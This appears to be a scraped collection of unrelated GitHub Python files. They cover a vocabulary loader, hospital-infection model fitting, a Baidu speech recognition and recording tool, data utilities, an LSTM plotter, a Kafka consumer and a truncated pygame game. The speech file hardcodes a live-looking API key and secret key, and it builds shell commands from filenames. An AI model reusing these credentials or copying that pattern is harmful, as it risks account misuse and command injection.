最大字典数量\n \"\"\"\n self.word2id, self.id2word = self.load_vocab(vocab_file, vocab_max_size)\n self.count = len(self.word2id)\n\n @staticmethod\n def load_vocab(file_path, vocab_max_size=None):\n vocab = {} \n reverse_vocab = {}\n with open(file_path, 'r', encoding='utf-8') as f:\n for line in f.readlines():\n word, index = line.strip().split(\"\\t\")\n index = int(index)\n # 如果vocab 超出指定大小, 跳出循环并截断\n if vocab_max_size and index > vocab_max_size:\n break\n \n vocab[word] = index\n reverse_vocab[index] = word\n return vocab, reverse_vocab\n\n\n def word_to_id(self, word):\n if word not in self.word2id:\n return self.word2id[self.UNKOWN_TOKEN]\n return self.word2id[word]\n\n def id_to_word(self, word_id):\n if word_id not in self.id2word:\n raise ValueError('Id not found in vocab: %d' % word_id) \n return self.id2word[word_id]\n\n \n","repo_name":"fangwei136/seq_seq-","sub_path":"func/seq_helper.py","file_name":"seq_helper.py","file_ext":"py","file_size_in_byte":4575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3975948541","text":"import pandas as pd\nimport numpy as np\nimport random\nimport sys\nimport os\nimport scipy as sc\nimport warnings\nfrom scipy.stats import sem\nfrom scipy import stats\n\nnp.random.seed(0)\nrandom.seed(0)\n\npd.set_option('display.max_columns', 100)\npd.set_option('display.max_rows', 100)\nwarnings.filterwarnings('ignore')\n\nmydir = '/Users/kenlocey/GitHub/HACRP-HAIs/'\n\ndef obs_pred_rsquare(obs, pred):\n obs = np.sqrt(obs)\n pred = np.sqrt(pred)\n # Determines the prop of variability in a data set accounted for by a model\n # In other words, this determines the proportion of variation explained by\n # the 1:1 line in an observed-predicted plot.\n return 1 - sum((obs - pred) ** 2) / sum((obs - np.mean(obs)) ** 2)\n\n\ndef optimize(volume, pred_cases, obs_cases, hai, z_ran, pi_ran):\n\n main_df = pd.read_pickle(mydir + \"data/Compiled_HCRIS-HACRP-HAI-RAND/Compiled_HCRIS-HACRP-HAI-RAND.pkl\")\n \n main_df['file date'] = main_df['file_year'] + '_' + main_df['file_month']\n fdates = sorted(list(set(main_df['file date'].tolist())))\n \n main_df = main_df[~main_df[obs_cases].isin([np.nan, 'Not Available'])]\n main_df = main_df[~main_df[pred_cases].isin([np.nan, 'Not Available'])]\n main_df = main_df[~main_df[volume].isin([np.nan, 'Not Available'])]\n\n main_df[obs_cases] = main_df[obs_cases].astype(float)\n main_df[pred_cases] = main_df[pred_cases].astype(float)\n main_df = main_df[main_df[pred_cases] >= 1]\n\n main_df[volume] = main_df[volume].astype('int64')\n main_df['O/E'] = main_df[obs_cases] / main_df[pred_cases]\n main_df['simulated O'] = [np.nan] * main_df.shape[0]\n main_df['simulated O/E'] = [np.nan] * main_df.shape[0]\n\n main_df['expected O'] = [np.nan] * main_df.shape[0]\n main_df['expected O/E'] = [np.nan] * main_df.shape[0]\n main_df['pi_opt'] = [np.nan] * main_df.shape[0]\n main_df['z_opt'] = [np.nan] * main_df.shape[0]\n\n\n for fdate in fdates:\n print(fdate)\n \n pi_opt = 0\n pi = 0\n\n z_opt = 0\n z = 0\n\n pi_opt_ls = []\n z_opt_ls = []\n avg_pval_ls = []\n se_pval_ls = []\n std_pval_ls = []\n avg_r2_ls = []\n ct_ls = []\n\n simulated_cases_opt = []\n expected_cases_opt = []\n\n pval_opt = 0\n std_pval_opt = 0\n se_pval_opt = 0\n r2_opt = 0\n ct = 0\n \n df = main_df[main_df['file date'] == fdate]\n print('rows:', df.shape[0])\n if df.shape[0] < 100:\n continue\n \n vol = np.array(df[volume].tolist())\n predicted_cases = np.array(df[pred_cases].tolist())\n observed_cases = np.array(df[obs_cases].tolist())\n\n observed_SIR = observed_cases/predicted_cases\n observed_SIR = observed_SIR.tolist()\n \n while ct < 5*10**3:\n \n ct += 1\n if ct < 2500:\n # choose pi and z based on uniform random sampling\n pi = np.random.uniform(min(pi_ran), max(pi_ran))\n z = np.random.uniform(min(z_ran), max(z_ran))\n\n else:\n max_avg_pval = max(avg_pval_ls)\n i = avg_pval_ls.index(max_avg_pval)\n \n pi = np.abs(np.random.normal(pi_opt_ls[i], 0.001))\n z = np.abs(np.random.normal(z_opt_ls[i], 10))\n \n pD = vol/(z + vol)\n p = pi * pD\n \n pval_ls1 = []\n r2_ls1 = []\n \n iter = 100\n for i in range(iter):\n \n simulated_cases = np.array(np.random.binomial(vol, p=p, size=len(vol)))\n r2 = obs_pred_rsquare(np.array(observed_cases), np.array(simulated_cases))\n stat, c_vals, p_val = stats.anderson_ksamp(np.array([simulated_cases, observed_cases]))\n pval_ls1.append(p_val)\n r2_ls1.append(r2)\n \n sim_pval = np.nanmean(pval_ls1)\n std_pval = np.std(pval_ls1)\n se_pval = sem(pval_ls1)\n \n expected_cases = p * vol\n exp_r2 = obs_pred_rsquare(np.array(observed_cases), np.array(expected_cases))\n stat, c_vals, exp_pval = stats.anderson_ksamp(np.array([expected_cases, observed_cases]))\n \n if ct == 1 or (sim_pval > pval_opt) or (sim_pval >= pval_opt and exp_r2 > r2_opt):\n \n pi_opt = float(pi)\n z_opt = float(z)\n pval_opt = float(sim_pval)\n std_pval_opt = float(std_pval)\n se_pval_opt = float(se_pval)\n r2_opt = float(exp_r2)\n \n vol = np.array(df[volume].tolist())\n pD = vol/(z_opt + vol)\n p = pi_opt * pD\n simulated_cases_opt = np.array(np.random.binomial(vol, p=p, size=len(vol)))\n expected_cases_opt = p * vol\n \n if ct == 1 or ct%500 == 0:\n print(ct)\n print('pi_opt:', pi_opt, ' | z_opt:', z_opt)\n print('avg. p-val: ', np.round(pval_opt, 5), ' | r2 (obs vs exp): ', np.round(r2_opt, 5), '\\n')\n \n pi_opt_ls.append(pi_opt)\n z_opt_ls.append(z_opt)\n avg_pval_ls.append(pval_opt)\n std_pval_ls.append(std_pval_opt)\n se_pval_ls.append(se_pval_opt)\n avg_r2_ls.append(r2_opt)\n ct_ls.append(ct)\n \n df['simulated O'] = simulated_cases_opt\n df['simulated O/E'] = df['simulated O'] / df[pred_cases]\n \n df['expected O'] = expected_cases_opt\n df['expected O/E'] = df['expected O'] / df[pred_cases]\n \n df['pi_opt'] = [pi_opt]*len(simulated_cases_opt)\n df['z_opt'] = [z_opt]*len(simulated_cases_opt)\n \n opt_df = pd.DataFrame(columns=['iteration'])\n opt_df['iteration'] = ct_ls\n opt_df['avg_pval'] = avg_pval_ls\n opt_df['std_pval'] = std_pval_ls\n opt_df['se_pval'] = se_pval_ls\n opt_df['r2 (obs vs exp)'] = avg_r2_ls\n opt_df['pi_opt'] = pi_opt_ls\n opt_df['z_opt'] = z_opt_ls\n \n df.to_pickle(mydir + \"data/optimized_by_HAI_file_date/\" + hai + \"/\" + hai + \"_Data_opt_for_SIRs_\" + fdate + \".pkl\")\n opt_df.to_csv(mydir + \"data/optimized_by_HAI_file_date/\" + hai + \"/\" + hai + \"_opt_iterations_\" + fdate + \".csv\")\n \n print('Finished:', fdate)\n\n","repo_name":"Rush-Quality-Analytics/HACRP-HAIs","sub_path":"5_Optimize_random_sampling_models/HAI_optimize.py","file_name":"HAI_optimize.py","file_ext":"py","file_size_in_byte":6659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72488034813","text":"# pyrec.py 文件内容\nimport os\nimport time as t\nimport wave\n\nimport numpy as np\nimport pyaudio\nfrom aip import AipSpeech\nfrom ltp import LTP\nfrom scipy import fftpack\nfrom PyQt5.Qt import QThread\nfrom PyQt5.QtWidgets import QMessageBox\nimport cv2\n\n\nclass ThreadClass(QtCore.QThread):\n any_signal = QtCore.pyqtSignal(int)\n\n def __init__(self, parent=None, index=0):\n super(ThreadClass, self).__init__(parent)\n self.index = index\n self.is_running = True\n\n def run(self):\n print('Starting thread...', self.index)\n cnt = 0\n while (True):\n cnt += 1\n if cnt == 99: cnt = 0\n time.sleep(0.01)\n self.any_signal.emit(cnt)\n\n def stop(self):\n self.is_running = False\n print('stopping thread...', self.index)\n self.terminate()\n\n\ndef wav_to_pcm(wav_file, class_name):\n # 假设 wav_file = \"音频文件.wav\"\n # wav_file.split(\".\") 得到[\"音频文件\",\"wav\"] 拿出第一个结果\"音频文件\" 与 \".pcm\" 拼接 等到结果 \"音频文件.pcm\"\n pcm_file = \"%s.pcm\" % ((class_name + wav_file).split(\".\")[0])\n\n # 就是此前我们在cmd窗口中输入命令,这里面就是在让Python帮我们在cmd中执行命令\n os.system(\"ffmpeg -loglevel quiet -y -i %s -acodec pcm_s16le -f s16le -ac 1 -ar 16000 %s\" % (class_name + wav_file, pcm_file))\n\n return pcm_file\n\n\ndef play_mp3(file_name):\n class_name = 'sounds/'\n os.system('ffplay '+'-nodisp -autoexit ' + class_name + file_name)\n\n\ndef recognize(file, class_name, self):\n APP_ID = '25559029'\n API_KEY = 'PIIyG8nXV0DeVWgo8O0fNGuy'\n SECRET_KEY = 'FuiB46Ek3iHd0elRx49KTm9Xbh1QrHO1'\n client = AipSpeech(APP_ID, API_KEY, SECRET_KEY)\n pcm_file = wav_to_pcm(file,class_name)\n with open(pcm_file, 'rb') as fp:\n file_context = fp.read()\n res = client.asr(file_context, 'pcm', 16000, {'dev_pid': 1536, })\n try:\n res_str = res['result'][0]\n\n self.plainTextEdit.appendPlainText(str(res_str))\n\n return res_str\n except:\n return '的'\n\n\ndef nlp(res_str, self):\n ltp = LTP()\n segment, hidden = ltp.seg([res_str])\n pos = ltp.pos(hidden)\n\n self.plainTextEdit.appendPlainText(str(segment))\n self.plainTextEdit.appendPlainText(str(pos))\n\n dict={}\n voice=[]\n i =0\n for word in segment[0]:\n dict[word]=pos[0][i]\n i+=1\n voice.append(dict)\n return voice\n\ndef synth_sound(res_str, self,synth_name):\n APP_ID = '25559029'\n API_KEY = 'PIIyG8nXV0DeVWgo8O0fNGuy'\n SECRET_KEY = 'FuiB46Ek3iHd0elRx49KTm9Xbh1QrHO1'\n class_name='sounds/'\n client = AipSpeech(APP_ID, API_KEY, SECRET_KEY)\n synth_context = client.synthesis(res_str, 'zh', 1, {'vol': 5})\n if not isinstance(synth_context, dict):\n with open(class_name + synth_name, 'wb') as f:\n f.write(synth_context)\n else:\n\n self.plainTextEdit.appendPlainText(str(synth_context))\n\n\ndef recording(filename, class_name, self, time=0, threshold=2000):\n \"\"\"\n :param filename: 文件名\n :param time: 录音时间,如果指定时间,按时间来录音,默认为自动识别是否结束录音\n :param threshold: 判断录音结束的阈值\n :return:\n \"\"\"\n CHUNK = 1024 # 块大小\n FORMAT = pyaudio.paInt16 # 每次采集的位数\n CHANNELS = 1 # 声道数\n RATE = 16000 # 采样率:每秒采集数据的次数\n RECORD_SECONDS = time # 录音时间\n WAVE_OUTPUT_FILENAME = class_name + filename # 文件存放位置\n p = pyaudio.PyAudio()\n stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK)\n frames = []\n\n choice = QMessageBox.question(self, 'Change Text?', 'Would you like to change the button text?',\n QMessageBox.Yes | QMessageBox.No) # 1\n\n if choice == QMessageBox.Yes: # 2\n if time > 0:\n #for i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n while(1):\n data = stream.read(CHUNK)\n frames.append(data)\n\n if choice == QMessageBox.No: # 4\n break\n elif choice == QMessageBox.No: # 4\n pass\n\n stream.stop_stream()\n stream.close()\n p.terminate()\n with wave.open(WAVE_OUTPUT_FILENAME, 'wb') as wf:\n wf.setnchannels(CHANNELS)\n wf.setsampwidth(p.get_sample_size(FORMAT))\n wf.setframerate(RATE)\n wf.writeframes(b''.join(frames))\n\ndef full(self):\n class_name = 'sounds/'\n record_name = 'record.wav'\n recording(record_name, class_name, self, time=5)\n res_str = recognize(record_name,class_name, self)\n return nlp(res_str, self)\n\ndef name_full(self):\n class_name = 'sounds/'\n record_name = 'record.wav'\n recording(record_name, class_name, self, time=5)\n res_str = recognize(record_name,class_name, self)\n return res_str\n\nif __name__ == '__main__':\n CHUNK = 1024\n FORMAT = pyaudio.paInt16\n CHANNELS = 2\n RATE = 16000\n RECORD_SECONDS = 5\n class_name = 'sounds/'\n record_name = 'record.wav'\n synth_name = 'synth.mp3'\n\n from MainLogic import ui\n\n recording(record_name, class_name, ui, time=10)\n # rec(record_name)\n res_str = recognize(record_name,class_name, ui)\n ui.plainTextEdit.appendPlainText(str(nlp(res_str, ui)))\n\n synth_sound(res_str, ui,synth_name)\n play_mp3(synth_name)\n","repo_name":"Falcom4000/SRTP-2","sub_path":"record.py","file_name":"record.py","file_ext":"py","file_size_in_byte":5384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"23519656584","text":"import sys\nimport pandas as pd\nimport python.Config as Config\nimport python.Timer as Timer\nimport numpy as np\nfrom time import sleep\nfrom math import sqrt\nimport scipy.sparse as sp\nfrom sklearn.externals.joblib import Parallel, delayed\nfrom sklearn.utils import safe_indexing\nfrom sklearn.utils.validation import (_is_arraylike, _num_samples, column_or_1d)\nfrom sklearn.metrics import r2_score, mean_squared_error, mean_absolute_error, r2_score\n\n\ndef read_chunks(file):\n time = Timer.Timer()\n print('Reading chunks from', file, '...')\n\n iter_hdf = pd.read_hdf(Config.H5_PATH + '/' + file, chunksize=Config.CHUNK_SIZE)\n rows = iter_hdf.nrows\n chunk_amount = int(rows / Config.CHUNK_SIZE)\n chunks = []\n percentage = 0\n\n # Read by chunks and join them\n for i, chunk in enumerate(iter_hdf):\n percentage += np.asscalar(100 * Config.CHUNK_SIZE / rows)\n chunks.append(chunk)\n if i % int(chunk_amount / 5) == 0:\n sys.stdout.write('%d%% ' % percentage)\n sys.stdout.flush()\n\n print('All chunks read. Joining results...')\n chunks = pd.concat(chunks)\n time.print()\n del time\n return chunks\n\n\ndef chunk_reader(file):\n iter_hdf = pd.read_hdf(Config.H5_PATH + '/' + file, chunksize=Config.CHUNK_SIZE)\n return iter_hdf\n\n\ndef read_hdf(file):\n time = Timer.Timer()\n print('Reading', file, 'file...')\n df = pd.read_hdf(Config.H5_PATH + '/' + file)\n time.print()\n del time\n return df\n\n\ndef calc_scores(target_test, y_prediction):\n print_scores(r2_score(target_test, y_prediction), mean_squared_error(target_test, y_prediction),\n mean_absolute_error(target_test, y_prediction))\n\n\ndef print_scores(r2, mse, mae):\n print('R^2 Score:', r2)\n print('Mean Squared Error:', mse)\n print('Root Mean Squared Error:', sqrt(mse))\n print('Mean Absolute Error:', mae)\n\n\ndef cross_val_execute(alg, x, y, cv, fit_params=None, n_jobs=1):\n parallel = Parallel(n_jobs=n_jobs, verbose=0, pre_dispatch='2*n_jobs')\n results = parallel(delayed(fit_predict)(alg, x, y, train, test, fit_params)\n for train, test in list(cv.split(x, y)))\n\n scores = [key[0] for (key, val) in results]\n mse = [key[1] for (key, val) in results]\n mae = [key[2] for (key, val) in results]\n predictions = [val for (key, val) in results]\n\n return scores, mse, mae, np.concatenate(predictions)\n\n\ndef fit_predict(alg, x, y, train, test, fit_params):\n fit_params = fit_params if fit_params is not None else {}\n fit_params = dict([(k, _index_param_value(x, v, train))\n for k, v in fit_params.items()])\n x_train, x_test, y_train, y_test = x.iloc[train], x.iloc[test], y.iloc[train], y.iloc[test]\n\n alg.fit(x_train, y_train)\n y_predict = alg.predict(X=x_test)\n\n return [r2_score(y_test, y_predict), mean_squared_error(y_test, y_predict),\n mean_absolute_error(y_test, y_predict)], y_predict\n\n\ndef _index_param_value(X, v, indices):\n \"\"\"Private helper function for parameter value indexing.\"\"\"\n if not _is_arraylike(v) or _num_samples(v) != _num_samples(X):\n # pass through: skip indexing\n return v\n if sp.issparse(v):\n v = v.tocsr()\n return safe_indexing(v, indices)","repo_name":"ngmatos/SonaePredict","sub_path":"python/Data.py","file_name":"Data.py","file_ext":"py","file_size_in_byte":3250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15886020247","text":"\nclass Node:\n def __init__(self,item):\n self.data=item\n self.left=None\n self.right=None\n\ndef treeInput():\n data=int(input())\n if data==-1:\n return\n root=Node(data)\n leftTree=treeInput()\n rightTree=treeInput()\n root.left=leftTree\n root.right=rightTree\n return root\n\nroot=treeInput()\n","repo_name":"krxxnna/CP-and-DSA","sub_path":"DSA_python/08. Binary_tree/TreeInput.py","file_name":"TreeInput.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74421347770","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n'''\nAuthor: Xihao Liang\nCreated: 2016.03.08\n'''\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\n\nimport cPickle\nimport matplotlib.pyplot as plt\n\n\nfrom utils import progbar\n\ndef analyse_result(ys, pred_probs, ofname = 'output/new_precision.png'):\n\tn_test = len(ys)\t\n\ty_dim = len(pred_probs[0])\n\thit = [0 for i in range(y_dim)]\n\n\tfor y, probs in zip(ys, pred_probs):\n\t\teid_prob = sorted(enumerate(probs), key = lambda k:-k[1])\n\n\t\tfor i, item in enumerate(eid_prob):\n\t\t\teid, progs = item\n\t\t\tif y == eid:\n\t\t\t\thit[i] += 1\n\n\tfor i in range(1, y_dim):\n\t\thit[i] += hit[i - 1]\n\t\n\tacc = [float(hi) / n_test for hi in hit]\n\n\tplt.figure()\n\tplt.axis([1, y_dim, 0., 1.])\n\tplt.xlabel('Top N')\n\tplt.ylabel('Precision')\n\tplt.plot(range(1, y_dim + 1), acc)\n\n\trand_x = range(1, y_dim + 1)\n\trand_y = [float(xi) / y_dim for xi in rand_x]\n\tplt.plot(rand_x, rand_y, '--r') \n\n\tplt.savefig(ofname)\n\ndef test(ifname = 'output/lstm_result.pkl', ofname = 'output/precision.png'):\n\timport cPickle\n\ttest_y, pred_probs = cPickle.load(open(ifname, 'r'))\n\t\n\tanalyse_result(test_y, pred_probs, ofname)\n\nif __name__ == '__main__':\n\ttest()\n","repo_name":"liangxh/weibo","sub_path":"lstmreporter.py","file_name":"lstmreporter.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"4780223570","text":"from kafka import KafkaConsumer\nimport platform, socket, re, uuid, json, psutil, logging\n\n\ndef getSystemInfo():\n try:\n info={}\n info['platform']=platform.system()\n info['platform-release']=platform.release()\n info['platform-version']=platform.version()\n info['architecture']=platform.machine()\n info['hostname']=socket.gethostname()\n info['ip-address']=socket.gethostbyname(socket.gethostname())\n info['mac-address']=':'.join(re.findall('..', '%012x' % uuid.getnode()))\n info['processor']=platform.processor()\n info['ram']=str(round(psutil.virtual_memory().total / (1024.0 ** 3)))+\" GB\"\n return json.dumps(info)\n except Exception as e:\n logging.exception(e)\n\n\nprint(\"Starting Consumer 1;\")\nconsumer = KafkaConsumer('number')\nprint(json.loads(getSystemInfo()))\n\nprint(\"All numbers found so far: \")\nnumbers = []\nfor msg in consumer:\n numbers.append(msg.value)\nprint(numbers)\n\n","repo_name":"Stixxl/iot-report","sub_path":"src/kafka/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20346134472","text":"import pygame\nfrom settings import *\nimport random\n\n\nclass SpriteSheet:\n\n def __init__(self, filename):\n \"\"\"Load the sheet.\"\"\"\n try:\n self.sheet = pygame.image.load(filename).convert()\n except pygame.error as e:\n print(f\"Unable to load spritesheet image: {filename}\")\n raise SystemExit(e)\n\n def image_at(self, rectangle, colorkey = None):\n \"\"\"Load a specific image from a specific rectangle.\"\"\"\n \"\"\"rectangle is a tuple with (x, y, x+offset, y+offset)\"\"\"\n rect = pygame.Rect(rectangle)\n image = pygame.Surface(rect.size).convert()\n image.blit(self.sheet, (0, 0), rect)\n if colorkey is not None:\n if colorkey is -1:\n colorkey = image.get_at((0,0))\n image.set_colorkey(colorkey, pygame.RLEACCEL)\n return image\n\n def images_at(self, rects, colorkey = None):\n \"\"\"Load a whole bunch of images and return them as a list.\"\"\"\n return [self.image_at(rect, colorkey) for rect in rects]\n\n def load_grid_images(self, num_rows, num_cols, x_margin=0, x_padding=0,\n y_margin=0, y_padding=0, width=None, height=None, colorkey = None):\n \"\"\"Load a grid of images.\n x_margin is the space between the top of the sheet and top of the first\n row. x_padding is space between rows. Assumes symmetrical padding on\n left and right. Same reasoning for y. Calls self.images_at() to get a\n list of images.\n \"\"\"\n\n sheet_rect = self.sheet.get_rect()\n sheet_width, sheet_height = sheet_rect.size\n\n if width and height:\n x_sprite_size = width\n y_sprite_size = height\n else:\n x_sprite_size = (sheet_width - 2 * x_margin\n - (num_cols - 1) * x_padding) / num_cols\n y_sprite_size = (sheet_height - 2 * y_margin\n - (num_rows - 1) * y_padding) / num_rows\n\n sprite_rects = []\n for row_num in range(num_rows):\n for col_num in range(num_cols):\n # Position of sprite rect is margin + one sprite size\n # and one padding size for each row. Same for y.\n x = x_margin + col_num * (x_sprite_size + x_padding)\n y = y_margin + row_num * (y_sprite_size + y_padding)\n sprite_rect = (x, y, x_sprite_size, y_sprite_size)\n sprite_rects.append(sprite_rect)\n\n return self.images_at(sprite_rects, colorkey)\n\n\nclass Explosion(pygame.sprite.Sprite):\n def __init__(self, sheet, center):\n pygame.sprite.Sprite.__init__(self)\n self.sheet = sheet\n self.EXPLOSION_LIST = [self.sheet.image_at((0, 0, 31, 31), -1), self.sheet.image_at((32, 0, 31, 31), -1),\n self.sheet.image_at((65, 0, 31, 31), -1), self.sheet.image_at((96, 0, 31, 31), -1),\n self.sheet.image_at((128, 0, 31, 31), -1), self.sheet.image_at((160, 0, 31, 31), -1)]\n self.EXPLOSION_LIST = [pygame.transform.scale2x(explosion) for explosion in self.EXPLOSION_LIST]\n self.image = self.EXPLOSION_LIST[0]\n self.rect = self.image.get_rect()\n self.rect.center = center\n self.frame = 0\n self.frame_rate = 50\n self.kill_center = center\n self.previous_update = pygame.time.get_ticks()\n\n def update(self):\n current = pygame.time.get_ticks()\n if current - self.previous_update > self.frame_rate:\n self.previous_update = current\n self.frame += 1\n elif self.frame == len(self.EXPLOSION_LIST):\n self.kill()\n else:\n self.image = self.EXPLOSION_LIST[self.frame]\n self.rect = self.image.get_rect()\n self.rect.center = self.kill_center\n\n\nclass Player(pygame.sprite.Sprite):\n def __init__(self, x, y, sheet, running, display, sheet_2):\n pygame.sprite.Sprite.__init__(self)\n self.surface = sheet.image_at((0, 95, 47, 47), -1)\n self.surface = pygame.transform.scale(self.surface, (150, 150))\n self.image = self.surface\n self.rect = self.surface.get_rect()\n self.rect.x = x\n self.rect.y = y\n self.run = [sheet.image_at((10, 110, 32, 30), -1), sheet.image_at((57, 110, 32, 30), -1)]\n self.run = [pygame.transform.scale(player, (150, 150)) for player in self.run]\n self.fly = [sheet_2.image_at((4, 149, 38, 38), -1), sheet_2.image_at((52, 149, 38, 38), -1),\n sheet_2.image_at((100, 149, 38, 38), -1), sheet_2.image_at((52, 149, 38, 38), -1)]\n self.fly = [pygame.transform.scale(player, (150, 150)) for player in self.fly]\n self.frame = 0\n self.frame_rate = 50\n self.previous_update = pygame.time.get_ticks()\n self.image_delay = 100\n self.running = running\n self.dodging_up = False\n self.dodging_down = False\n self.display = display\n\n def update(self, level):\n #print(level)\n now = pygame.time.get_ticks()\n if now - self.previous_update >= self.image_delay:\n self.previous_update = now\n if level == 1:\n if self.frame >= len(self.run):\n self.frame = 0\n self.image = self.run[self.frame]\n else:\n if self.frame >= len(self.fly):\n self.frame = 0\n self.image = self.fly[self.frame]\n self.frame = self.frame + 1\n self.display.blit(self.image, (self.rect.x, self.rect.y))\n\n def get_keys(self, time, level):\n self.time = time\n keys = pygame.key.get_pressed()\n self.current_move = pygame.time.get_ticks()\n if self.current_move - self.time > move_delay:\n self.time = self.current_move\n if level == 1:\n if keys[pygame.K_s] and self.rect.y < 636:\n self.rect.y += 45\n if keys[pygame.K_w] and self.rect.y > 180:\n self.rect.y -= 45\n else:\n if keys[pygame.K_s] and self.rect.y < 636:\n self.rect.y += 45\n if keys[pygame.K_w] and self.rect.y > 180:\n self.rect.y -= 45\n if keys[pygame.K_d] and self.rect.x < 1700:\n self.rect.x += 25\n if keys[pygame.K_a] and self.rect.x > 0:\n self.rect.x -= 25\n\n\nclass Car(pygame.sprite.Sprite):\n def __init__(self, x, y, display, color, speed):\n pygame.sprite.Sprite.__init__(self)\n self.red_car = pygame.image.load(\"assets/red car.png\")\n self.teal_car = pygame.image.load(\"assets/teal car.png\")\n self.white_car = pygame.image.load(\"assets/truckFlat.png\")\n self.violet_car = pygame.image.load(\"assets/van.png\")\n self.yellow_car = pygame.image.load(\"assets/taxi.png\")\n self.cop_car = pygame.image.load(\"assets/police.png\")\n self.fast_car = pygame.image.load(\"assets/raceFuture.png\")\n self.health_car = pygame.image.load(\"assets/ambulance.png\")\n self.rect = self.red_car.get_rect()\n self.speed = speed\n if color == \"R\":\n self.image = self.red_car\n self.speed = 22\n if color == \"T\":\n self.image = self.teal_car\n self.speed = 18\n if color == \"W\":\n self.image = self.white_car\n self.speed = 15\n if color == \"V\":\n self.image = self.violet_car\n self.speed = 12\n if color == \"Y\":\n self.image = self.yellow_car\n self.speed = 15\n if color == \"C\":\n self.image = self.cop_car\n self.speed = 28\n if color == \"F\":\n self.image = self.fast_car\n self.speed = 35\n if color == \"H\":\n self.image = self.health_car\n self.speed = 8\n self.rect.x = x\n self.rect.y = y\n self.display = display\n\n def update(self):\n self.rect.x -= self.speed\n #self.image.fill(RED)\n self.display.blit(self.image, (self.rect.x, self.rect.y))\n\n\nclass Seed(pygame.sprite.Sprite):\n def __init__(self, x, y, display):\n pygame.sprite.Sprite.__init__(self)\n self.seed = pygame.image.load(\"assets/Seeds_Cereals.png\")\n self.seed = pygame.transform.scale(self.seed, (75, 75))\n self.rect = self.seed.get_rect()\n self.display = display\n self.rect.x = x\n self.rect.y = y\n\n def update(self):\n self.rect.x -= 10\n self.display.blit(self.seed, (self.rect.x, self.rect.y))\n\n\nclass Nut(pygame.sprite.Sprite):\n def __init__(self, x, y, display):\n pygame.sprite.Sprite.__init__(self)\n self.seed = pygame.image.load(\"assets/Seeds_Cereals.png\")\n self.seed = pygame.transform.scale(self.seed, (75, 75))\n self.rect = self.seed.get_rect()\n self.display = display\n self.rect.x = x\n self.rect.y = y - random.randint(500, 2000)\n\n def update(self):\n self.rect.y += 10\n self.display.blit(self.seed, (self.rect.x, self.rect.y))\n if self.rect.y > 1000:\n self.rect.y = random.randint(500, 2000)*-1\n\n\nclass Tree(pygame.sprite.Sprite):\n def __init__(self, x, y, display):\n pygame.sprite.Sprite.__init__(self)\n self.tree = pygame.image.load(\"assets/baum.png\")\n self.tree = pygame.transform.scale(self.tree, (475, 475))\n self.rect = self.tree.get_rect()\n self.display = display\n self.rect.x = x\n self.rect.y = y - 200\n\n def update(self):\n self.rect.x -= 7\n self.display.blit(self.tree, (self.rect.x, self.rect.y))\n\n\nclass Score:\n def __init__(self, font, display, score, x, y):\n self.font = font\n self.display = display\n self.score = score\n self.x = x\n self.y = y\n\n def draw_score(self):\n text = self.font.render(f\"Score = {self.score}\", True, WHITE)\n self.display.blit(text, (self.x, self.y))\n\n def get_score(self):\n return self.score\n\n\nclass Layout:\n def __init__(self, layout, sheet, display, x_multi, y_multi, sheet_2):\n pygame.sprite.Sprite.__init__(self)\n self.layout = layout\n self.display = display\n self.player_grp = pygame.sprite.GroupSingle()\n self.starting_car_grp = pygame.sprite.Group()\n self.car_grp = pygame.sprite.Group()\n self.all_sprites = pygame.sprite.Group()\n self.seed_grp = pygame.sprite.Group()\n self.tree_grp = pygame.sprite.Group()\n self.nut_grp = pygame.sprite.Group()\n self.SCORE = 0\n self.level = 1\n self.home = False\n self.letters = ['R', 'T', 'W', 'V', 'Y', 'C', \"F\", 'H']\n\n for i, row in enumerate(self.layout):\n for j, col in enumerate(row):\n x_val = j * x_multi\n y_val = i * y_multi\n\n if col == \"P\":\n player = Player(x_val, y_val, sheet, True, self.display, sheet_2)\n self.player_grp.add(player)\n if col == \"R\":\n car = Car(x_val, y_val, self.display, col, 22)\n self.car_grp.add(car)\n if col == \"T\":\n car = Car(x_val, y_val, self.display, col, 18)\n self.car_grp.add(car)\n if col == \"W\":\n car = Car(x_val, y_val, self.display, col, 15)\n self.car_grp.add(car)\n if col == \"V\":\n car = Car(x_val, y_val, self.display, col, 12)\n self.car_grp.add(car)\n if col == \"Y\":\n car = Car(x_val, y_val, self.display, col, 15)\n self.car_grp.add(car)\n if col == \"C\":\n car = Car(x_val, y_val, self.display, col, 28)\n self.car_grp.add(car)\n if col == \"F\":\n car = Car(x_val, y_val, self.display, col, 35)\n self.car_grp.add(car)\n if col == \"H\":\n car = Car(x_val, y_val, self.display, col, 8)\n self.car_grp.add(car)\n if col == \"N\":\n car = Car(x_val, y_val, self.display, self.letters[random.randint(0, 7)], 15)\n self.starting_car_grp.add(car)\n if col == \"G\":\n if random.randint(1, 3) == 1 or 3:\n car = Car(x_val, y_val, self.display, self.letters[random.randint(0, 7)], 15)\n self.car_grp.add(car)\n if col == \"1\":\n if random.randint(1, 25) == 1:\n seed = Seed(x_val, y_val, self.display)\n self.seed_grp.add(seed)\n if col == \"2\":\n tree = Tree(x_val, y_val, self.display)\n self.tree_grp.add(tree)\n if col == \"3\":\n nut = Nut(x_val, y_val, self.display)\n self.nut_grp.add(nut)\n\n def collied(self):\n touched = False\n player = self.player_grp.sprite\n\n collide_list = pygame.sprite.spritecollide(player, self.car_grp, False)\n eat_list = pygame.sprite.spritecollide(player, self.seed_grp, True)\n tree_list = pygame.sprite.spritecollide(player, self.tree_grp, False)\n for car in 